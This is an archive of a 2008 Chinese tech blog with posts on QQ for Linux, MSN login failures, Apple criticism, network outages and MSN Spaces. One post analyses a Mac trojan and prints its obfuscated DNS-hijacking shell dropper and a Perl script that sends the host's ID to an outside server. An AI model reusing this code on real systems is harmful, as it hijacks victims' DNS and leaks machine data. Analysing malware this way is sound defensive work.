2008年7月31日星期四

QQ for Linux试用简易报告

年初曾经发过QQ for Mac早期版本的试用报告,在7月的最后一天,我也准备写写有关QQ for Linux最新公开版的体验报告。
我现在手上没有能够启动的Linux,准备了一张Fedora 9的LiveCD(有朋友已经在自己的FC9上使用过,其刚装上的系统已经满足了所有的依存性)。
启动进入FC9 LiveCD,调好网络。直接下载tarball。解开,运行,登录,一气呵成,没有发现依存性问题。
Photobucket
这的确是史上最精简的QQ,连QQ for Mac都用了6个定制framework,而这仅仅有4个文件。从图中可以看到,本QQ for Linux的主界面和Windows下的TM2008、以及QQ for Mac十分相似。同样是将好友、群、记录分为三个标签来列出。下方的两行工具栏,只有一个“设置”和“查找/添加联系人”按钮。左下角的那个“开始”按钮,在GNOME环境下,看着却有些不伦不类了。
Photobucket
这是主聊天窗口。可以看到使用了多标签页的形式。左下角的按钮我看了半天还是没看出来有什么用途,直到体验最后才看出是切换标签/多窗口模式之用。暂时不能发送文件和图片,但是可以使用内置表情。
Photobucket
群聊画面。这看上去就和Windows版的多数QQ、TM都差不多。不能显示群名片,能够接收到部分群内图片却不能发送。工具条的第三个按钮是“屏蔽消息”——显示消息数量之类功能,还没有做出来。
PhotobucketPhotobucket
这是设置外观的两个小窗口。其实如果Windows版的QQ或者TM也这么简单,就很不错。
Photobucket
没有看到消息管理界面,聊天窗口中点击 聊天记录 是在聊天窗口主文本框中显示。
Photobucket
Photobucket
Photobucket
Photobucket
设置窗口。可以看到Windows版本QQ/TM能够设置的东西基本上这里都有。但是有一个问题,就是选择个人资料中的“省、市”处如果原来没有填写,就会自动出来“北京市东城区”。
Photobucket
Photobucket
添加好友窗口。和PC版的功能大同小异。这里那个“有摄像头的”什么时候才能对Mac OS X、Linux用户真正地起到作用呢?
Photobucket
所谓最终用户许可协议,可以看出QQ for Linux的授权和腾讯的其他产品一模一样,是一个开源平台上的私有免费软件。
Photobucket
默认的提醒方式,不是像现在版本的QQ for Mac那样毫不讲理地跳出来,而是闪烁图标,单击后选择打开来自哪里的新消息。
这个版本的QQ for Linux,从表面上看和Windows上的TM2008已经差不多了,但是至于功能,仍然处于和早期版本QQ for Mac一个水平上,尚未实现文件和图片传送等一些扩展功能,但是能够接收群内图片,比Pidgin、Adium的QQ功能稍强。很高兴能够看到,国内一个具有接近垄断地位的公司,能够支持软件、服务的跨平台,这是相当不容易的。

MSN 7.5彻底完蛋

今天打开我的那个Hack(版本号)版MSN 7.5(怎么Hack的,以前我这里介绍过),发现永远登不上(显示错误81000395)。换出Messenger 8.5和Messenger 5.0,却都登录正常。
Photobucket
稍微抓了一下包,5.0的协议是MSNP8,7.0的协议是MSNP11,8.1、8.5的协议是MSNP15,而这几个版本登录则不会出错。7.5的版本是MSNP12,发送完密码hash之后马上就81000395了。
看来现在M$已经认识到了长期允许特殊改版登录的这个错误的严重性了。

2008年7月24日星期四

对Mac OS X上的一个木马Porn4mac的简单分析

这是今年早些时候一些国外安全公司炒作的所谓“Mac OS X上第一个木马病毒”。
该木马的主要传播方式为一个很小的dmg文件,其中包含一个安装程序install.pkg。包内容如下:

分析了一下
这个东西是个修改DNS的木马小程序,主要部分是三个脚本,两个sh脚本,一个perl脚本
第一个文件:plugins.settings
#!/bin/sh
x=`cat $0 |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x $0 |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;sh 1 85.255.116.150 85.255.112.148; exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr $0
这是主要代码
前半段使用了tr命令进行简单的字符替换解密
解密之后的结果(得到文件 1)是
#!/bin/sh
path="/Library/Internet Plug-Ins"
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< exist="`crontab">/dev/null 2>&1" > cron.inst
crontab cron.inst
rm -rf cron.inst
fi
rm -rf $0
这个是那个tr命令生成的1文件,再通过 sh 1 85.255.116.150 85.255.112.148 运行这个1文件,它又通过d.add ServerAddresses * $1 $2; set State:/Network/Service/$PSID/DNS 把两个参数设置为系统的DNS地址,达到破坏目的。
再看1中执行的Quicktime.xpt文件:
#!/bin/sh
x=`cat "$0" |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x "$0" |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;s1=cx.zxx.aax.xq;s2=cx.zxx.aaz.axs;sh 1 `echo $s1|tr qazwsxedcr 0123456789` `echo $s2| tr qazwsxedcr 0123456789`;exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< kepox="`ljnfxab">/qks/fvii 2>&1" > ljnf.pfox
ljnfxab ljnf.pfox
jh -jr ljnf.pfox
rp
jh -jr "$0"
又是同一种加密,不过这次把数字也给替换了。解密生成的1的代码和上面的1大同小异。
这是病毒的破坏部分:plugins.settings和QuickTime.xpt。
病毒还有一个Internet插件Mozillaplug.plugin,看上去只是为了让用户知道已装上了这个恶意软件。里面有个VerifyDownloadPlugin可执行文件,里面只有几十个字节的PPC和Intel代码(没有调试器,没法看这是干些什么),Resources里面的主.rsrc里就两个STR#资源,其中一个是:

另外一个就是两个空字节。我认为这个所谓的Internet插件就是能够保证在每次启动浏览器时就会把上面的两个主要恶意脚本运行。
另外,安装之后还会把机器的一个ID发送到某网站。这是安装PKG的postinstall脚本:
#!/bin/sh
path="/Library/Internet Plug-Ins/"
/usr/bin/perl "$path/sendreq"
rm -rf "$path/sendreq"
这里是sendreq文件的内容:
#!/usr/bin/perl
use IO::Socket;

sub encode_base64 ($;$)
{
if ($] >= 5.006) {
require bytes;
if (bytes::length($_[0]) > length($_[0]) ||
($] >= 5.008 && $_[0] =~ /[^\0-\xFF]/))
{
require Carp;
Carp::croak("The Base64 encoding is only defined for bytes");
}
}

use integer;

my $eol = $_[1];
$eol = "\n" unless defined $eol;

my $res = pack("u", $_[0]);
# Remove first character of each line, remove newlines
$res =~ s/^.//mg;
$res =~ s/\n//g;

$res =~ tr|` -_|AA-Za-z0-9+/|; # `# help emacs
# fix padding at the end
my $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if $padding;
# break encoded string into lines of no more than 76 characters each
if (length $eol) {
$res =~ s/(.{1,76})/$1$eol/g;
}
return $res;
}



my $server="64.28.188.220";
my $cmd=`uname -p;echo ";";hostname`;
$cmd=~s/\n//g;
my $uniqid=encode_base64("mac;".$cmd);
$uniqid=~s/\n//g;
my $request="GET / HTTP/1.1\r\nAccept-Language: $uniqid\r\nHost: $server\r\n\r\n";

my $socket=IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>80,Proto=>"tcp",timeout=>10) or die();
print $socket $request;
close($socket);
我不懂PERL语言,但是能看出第一段是个base64编码的子程序,后半段也容易看出是使用perl的INET对象连接64.28.188.220的80端口,把机器的某个独一无二的ID通过base64编码后,放在HTTP头的Accept-Language段中发送到这个服务器。应当是用于感染率统计用。

这个东西的功能还是过分简单,和真正的病毒木马还是有很大区别。
这个病毒需要输入管理员密码登录root才能安装成功,因此危害并不很大。
由于我并非UNIX达人,这些脚本我连注释都没加,兴许需要达人帮助才能真正分析出来。

2008年7月10日星期四

和某高人关于现在的apple inc.的一段聊天记录

電子妖精yksoft1: 嗯

你认为现在苹果内部出了什么问题

stevenraptorxiong: 苹果?

電子妖精yksoft1: 嗯

stevenraptorxiong: 他们以为用户做最好的产品为借口

自甘堕落

電子妖精yksoft1: 在拼着命吸血

stevenraptorxiong: 去年的D5上

SJ说97年时候

苹果的问题是忘记了苹果是什么

電子妖精yksoft1: 现在的苹果

stevenraptorxiong: 并不是说苹果要成功

MS就必须失败

電子妖精yksoft1: 删掉了自己 电脑公司 的称号

stevenraptorxiong: 是的啊

電子妖精yksoft1: 忘记了自己的光荣传统

stevenraptorxiong: 呵呵

但是

苹果的确不是为了摧毁另一个公司而存在的

電子妖精yksoft1: 1984年的一句话

stevenraptorxiong: 它需要的不是对对手不利的决策和计划

而是对自己有利的计划

電子妖精yksoft1: Computers for the rest of us

stevenraptorxiong: 嗯

但是今天苹果在纠正过去错误的道路上走到了另一个极端去了

電子妖精yksoft1: 我觉得苹果现在的东西

都是拿用户当免费beta测试员

stevenraptorxiong: 有点这个意思

可能设计目的不坏

但是拿人当试验品

对一个商业话的公司来说是很不可取的

但是也体现了苹果的不负责人

和SJ那样

出尔反尔,小人一个

苹果的设计变得很粗糙,然后浅薄

苹果不是外表

事实上是精神

電子妖精yksoft1: jobs不死

stevenraptorxiong: 今天SJ在说的时候也绝少说到苹果核心的理念了

電子妖精yksoft1: 我不会再给这公司一分钱

stevenraptorxiong: 不过是说如何刺激客户去买更多苹果的产品

呵呵

但是原来Mac的核心用户是不会接受这样的苹果的产品的

電子妖精yksoft1: 不过是说如何刺激客户去买更多苹果的产品

就是如此

stevenraptorxiong: 嗯

電子妖精yksoft1: 总之jobs越老越想再捞

stevenraptorxiong: 我就不知道他图什么呢

我说了很多次

Jonny说的

他当初为什么到苹果

他说这个公司可以不为钱做一个濒临倒闭的公司的骄傲的抉择

但是今天的苹果不是

今天苹果不是要去自残,但是也要有自己的精神

他已经代表不了繁多产品和财务报表外更多的东西了

我最喜欢的设计

電子妖精yksoft1: 我觉得

stevenraptorxiong: 就如同以前苹果的产品那样

電子妖精yksoft1: jobs一步步实现自己贪婪的目的

stevenraptorxiong: 对我影响很大

有点

虽然我不想承认这点

電子妖精yksoft1: 从get a mac的广告出现就开始了

stevenraptorxiong: 呵呵

那样去诋毁别人,是不最不喜欢的

電子妖精yksoft1: 那是一个有道德的企业该做的吗

stevenraptorxiong: 那个广告也许搞笑,但是很低劣

我觉得你如果有自信,就别去和别人比

我以前用Mac

总是能慢慢去发现那些细节,体现了设计者的用心,和设计的水准

電子妖精yksoft1: 现在呢

stevenraptorxiong: 这些是不能够通过夸夸其谈来做到的

但是现在你总是因为苹果自己的说辞

期望很多

但是用了发现没你想像的好

好的产品,永远比你用户要的更多

惊喜的愉悦体验

虽然苹果比一些2流的厂商卖弄噱头,吹嘘设计好点

但是也好不到哪去

不过是做得稍微有点文化

好像能够引领潮流

话说回来

你能引领

说明本质上你和他们想一块去了

一样恶俗来着

電子妖精yksoft1: 说明他们也想去追那所谓潮流

stevenraptorxiong: 不过是更恶俗,想得更快而已

我现在已经不相信苹果是妥协了

我觉得他们是很主动去做那些可以讨好PC用户的事情

然后把Mac变成和PC一样的畅销的垃圾

電子妖精yksoft1: 我和多数资深用户一样并非switch到Mac的

现在他们在做的就是怎么让pc用户switch到mac

stevenraptorxiong: 是啊

太明显了

其实那样的用户就是不适合Mac

最起码是原来的Mac

你说现在Mac的那些功能

我就觉得么必要

但是没这些恶俗的玩意儿他们接受不了

那么怎么switch

電子妖精yksoft1: 比如摄像头

stevenraptorxiong: 只有就是变得一样恶俗才成

電子妖精yksoft1: 我不觉得webcam这东西有多实用

。。

又开始忙了?

stevenraptorxiong: 还好

回SMS

呵呵

iSight

对大多的人来说就是一玩具

然后就是些废物的噱头工具

電子妖精yksoft1: 看来你和我想得一样

mac不是一种life

stevenraptorxiong: 但是原来那个iSight我挺喜欢那个造型的

你觉得是什么

??

精神?理想?

電子妖精yksoft1: 和其他任何平台一样

就是个舞台

stevenraptorxiong: 对头

我现在也觉得苹果就是一工具

電子妖精yksoft1: jobs想得就是把它变成一种life

一种可以让他财源滚滚的life

stevenraptorxiong: 因为这样好骗钱

不过要这么说有的工具上升到了一个高度

通过设计

例子太多

電子妖精yksoft1: 嗯

stevenraptorxiong: 但是苹果今天已经么这个高度了

不过就是那些PCer看了说有意思,好看

要买而已

么高度

電子妖精yksoft1: 有人说google是苹果的反面

stevenraptorxiong: 某些地方是

早期的Google和早期的苹果一样代表了某种理想来着

不过现在都不是了

Google是一个模式,和Mac一样

電子妖精yksoft1: 都被$迷眼

stevenraptorxiong: 好狠狠的骗钱

其实都把自己渲染得很美好,其实不然

其实Google很伪善。。。。。

電子妖精yksoft1: 商人都是伪善的

stevenraptorxiong: 我觉得公司要盈利可以理解

但是你不能把自己渲染得貌似圣人一样

你要承认你自己也要生存

要为股东创造利益

很简单

也可以顺便继续提供更好的服务

電子妖精yksoft1: 嗯

stevenraptorxiong: 真把自己搞得圣人一样的公司要倒闭的

比如96年的苹果

電子妖精yksoft1: 呵

stevenraptorxiong: 还真搞得很纯粹,那是不行的

電子妖精yksoft1: 有些激进分子说

stevenraptorxiong: ?

電子妖精yksoft1: 哪怕看着彩虹苹果破产,也不愿看着单色苹果像现在这么活着

stevenraptorxiong: 对啊

其实我当时不喜欢Intel Mac

也不是因为那是Intel

而是没有封闭的系统

Mac很难保持自己的完整

今天看来Intel不过是一个开始

電子妖精yksoft1: 屈从和堕落总会越来越加深

2008年7月6日星期日

一次拿上千万用户进行的秘密实验?

C:\Users\yksoft_user>tracert www.nicovideo.jp

Tracing route to www.nicovideo.jp [202.248.110.243]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 58 ms 58 ms 58 ms 222.247.29.89
4 59 ms 58 ms 58 ms 61.187.255.149
5 161 ms 160 ms 160 ms 61.137.0.229
6 166 ms 165 ms 166 ms 202.97.40.89
7 200 ms 197 ms 197 ms 202.97.33.146
8 192 ms 195 ms 196 ms 202.97.60.146
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 * * ^C
C:\Users\yksoft_user>tracert store.apple.com

Tracing route to store.apple.com.akadns.net [17.149.156.10]
over a maximum of 30 hops:

1 1 ms 1 ms 2 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 58 ms 59 ms 222.247.29.45
4 58 ms 57 ms 58 ms 61.187.255.69
5 160 ms 160 ms 161 ms 61.137.0.229
6 165 ms 165 ms 166 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * ^C
C:\Users\yksoft_user>tracert apple.com
Unable to resolve target system name apple.com.

C:\Users\yksoft_user>tracert www.apple.com

Tracing route to www.apple.com.akadns.net [17.112.152.32]
over a maximum of 30 hops:

1 2 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 57 ms 58 ms 222.247.29.89
4 58 ms 58 ms 58 ms 61.187.255.145
5 161 ms 159 ms 160 ms 61.137.0.229
6 167 ms 164 ms 166 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * ^C
C:\Users\yksoft_user>tracert spaces.live.com

Tracing route to spaces.live.com [65.55.128.48]
over a maximum of 30 hops:
1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 59 ms 59 ms 222.247.29.89
4 59 ms 59 ms 57 ms 61.187.255.149
5 61 ms 60 ms 61 ms 61.137.0.133
6 69 ms 68 ms 80 ms 202.97.40.161
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 * * * Request timed out.
18 * * * Request timed out.
19 * * * Request timed out.
20 * * * Request timed out.
21 * * * Request timed out.
22 * * * Request timed out.
23 * * * Request timed out.
24 * ^C
C:\Users\yksoft_user>tracert www.apple.com

Tracing route to www.apple.com.akadns.net [17.112.152.32]
over a maximum of 30 hops:

1 1 ms 1 ms 1 ms 192.168.18.1
2 * * * Request timed out.
3 59 ms 58 ms 58 ms 222.247.29.89
4 57 ms 57 ms 59 ms 61.187.255.145
5 160 ms 160 ms 161 ms 61.137.0.229
6 165 ms 173 ms 167 ms 202.97.40.89
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * * * Request timed out.
11 * * * Request timed out.
12 * * ^C
C:\Users\yksoft_user>
这究竟是上头拿几千万用户做实验(用部分电信主干网上的特殊用途IDS),还是又一次什么海底光缆断裂之类的东西?总之狗林匹克之前的噩梦已经开始了。我也不打什么和谐logo,因为——
全部国外网站均无法访问-月光博客:http://www.williamlong.info/archives/1404.html
这篇文章是在某洋葱路由之下才发上来的。

2008年7月5日星期六

还是想问M$N Space的developers一句:难道在非IE下开发就这么难?

IE8 下,M$N Spaces总算给搞正常了。而现在他们似乎对于Mozilla系列还是非常之不支持。以前搞IE、Firefox两套框架的时代显然已经过去了,但是他们的一切修正都只基于“最新”版本。现在,在Mozilla1.8下,space顶部的导航栏完全就是个乱的;1.9、2.0a1还正常。而且,这么长时间以来,还是没办法把在线编辑器搞出来。别人ewebediter、fckeditor都支持了多年Mozilla系和Webkit,M$就这么没有竞争力吗?
IE的好日子其实早就快到头了。现在就算是很多ASP写的程序都能够正确支持在非IE浏览器下的操作,连M$的下载现在也完全就是w3c路线。M$N也许要有一次真正的大改版,或者最终把流氓雅虎的人挖来,也许才可能真正和google的那些Web application对抗。。